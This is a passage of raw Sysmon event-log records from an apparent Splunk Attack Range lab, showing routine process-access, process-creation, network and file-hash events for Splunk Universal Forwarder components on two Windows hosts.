Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:18.061{7BD73061-715E-613B-270B-00000000F001}6896C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000015435Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:16.401{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50225-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000047796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.794{7BD73061-715F-613B-290B-00000000F001}56446892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6766C2F639683A270F4C4486A3C8D4C4,SHA256=6BF5AAE09513E97008AC28E4DB4A8FE0F681F4C0D31390CF6E3F044BA880C4A0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-715F-613B-290B-00000000F001}5644C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-715F-613B-290B-00000000F001}5644C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.513{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-715F-613B-290B-00000000F001}5644C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.514{7BD73061-715F-613B-290B-00000000F001}5644C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:19.357{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D8F85482B27CA50A9B67490F5973BD80,SHA256=4C76DC1B344CF0ADD5B411052AEB9201841E1A502162FC6ABBAFA5C8E5246952,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015437Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:19.139{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=056F45C78DFC3AB2708ACE49B1E63FB7,SHA256=886EF98F833ED0B1CE4336DD1A41816FEA8C16A3485BF1231174F7E0659946FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015438Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:20.155{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=511BA304A61F201D59287C91333FAA91,SHA256=416E3865B8D469E63219682324BE4B87DD4F8CA8CE8F2E0498B0E852857B5C01,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.732{7BD73061-7160-613B-2B0B-00000000F001}61687144C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7160-613B-2B0B-00000000F001}6168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7160-613B-2B0B-00000000F001}6168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.513{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7160-613B-2B0B-00000000F001}6168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.514{7BD73061-7160-613B-2B0B-00000000F001}6168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.372{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A277A39A15D7E15502EFFB96FD48E964,SHA256=98C034638BDC15B7100F8F469791FE29806FD802EAEEFFCD9B31A2B30CFF5FF7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.247{7BD73061-7160-613B-2A0B-00000000F001}33403152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.013{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7160-613B-2A0B-00000000F001}3340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.013{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.013{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:20.013{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 